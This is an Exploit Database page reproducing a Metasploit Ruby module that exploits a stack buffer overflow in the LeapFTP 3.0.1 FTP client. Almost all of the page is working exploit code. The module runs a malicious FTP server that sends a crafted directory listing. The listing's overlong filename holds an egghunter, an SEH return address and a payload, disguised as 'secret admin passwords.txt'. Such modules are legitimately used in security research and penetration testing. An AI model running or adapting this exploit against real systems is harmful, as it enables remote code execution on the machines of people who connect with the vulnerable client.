LeapFTP 3.0.1 – Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-11-14
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16704/

• ##
  # $Id: leapftp_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::FtpServer
  	include Msf::Exploit::Remote::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'LeapFTP 3.0.1 Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the LeapFTP 3.0.1 client.
  				This issue is triggered when a file with a long name is downloaded/opened.
  			},
  			'Author' 	 =>
  				[
  					'corelanc0d3r',# Original bug, completed MSF module
  					'nullthreat' # Ported PoC to MSF
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> "$Revision: 11039 $",
  			'References' =>
  				[
  					[ 'OSVDB', '68640'],
  					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows Universal', { 'Offset' => 528,'Ret' => 0x0042A8A8 } ], # ADD ESP,64, POP EBX, RET :) boy I love pvefindaddr
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Oct 12 2010',
  			'DefaultTarget'=> 0))
  	end
  
  	def setup
  		super
  	end
  
  	def on_client_unknown_command(c,cmd,arg)
  		c.put("200 OK\r\n")
  	end
  
  	def on_client_command_list(c,arg)
  			conn = establish_data_connection(c)
  			if(not conn)
  				c.put("425 Can't build data connection\r\n")
  				return
  			end
  			print_status(" - Data connection set up")
  			code = 150
  			c.put("#{code} Here comes the directory listing.\r\n")
  			code = 226
  			c.put("#{code} Directory send ok.\r\n")
  			# create the egg hunter
  			badchars = ""
  			eggoptions =
  			{
  			:checksum => true,
  			:eggtag => "W00T"
  			}
  			hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
  			# Get the file ready
  			junk = "\x73\x65"#73 65 = jump over filename = "se"
  			junk << "cret admin passwords.txt"
  			junk << "_" * ((target['Offset'])-junk.length-hunter.length) # _ = POP EDI
  			junk << hunter
  			seh = [target.ret].pack('V')
  			shellcode = egg + egg + payload.encoded
  			junk2 = rand_text_alpha((2000 - shellcode.length))
  			payload = junk + seh + shellcode + junk2
  			strfile = payload
  			print_status(" - Sending directory list via data connection")
  			dirlist = "-rw-rw-r--1 1176 1176 1060 Aug 16 22:22 #{strfile}.txt\r\n"
  			conn.put("total 2\r\n"+dirlist)
  			conn.close
  			return
  	end
  
  end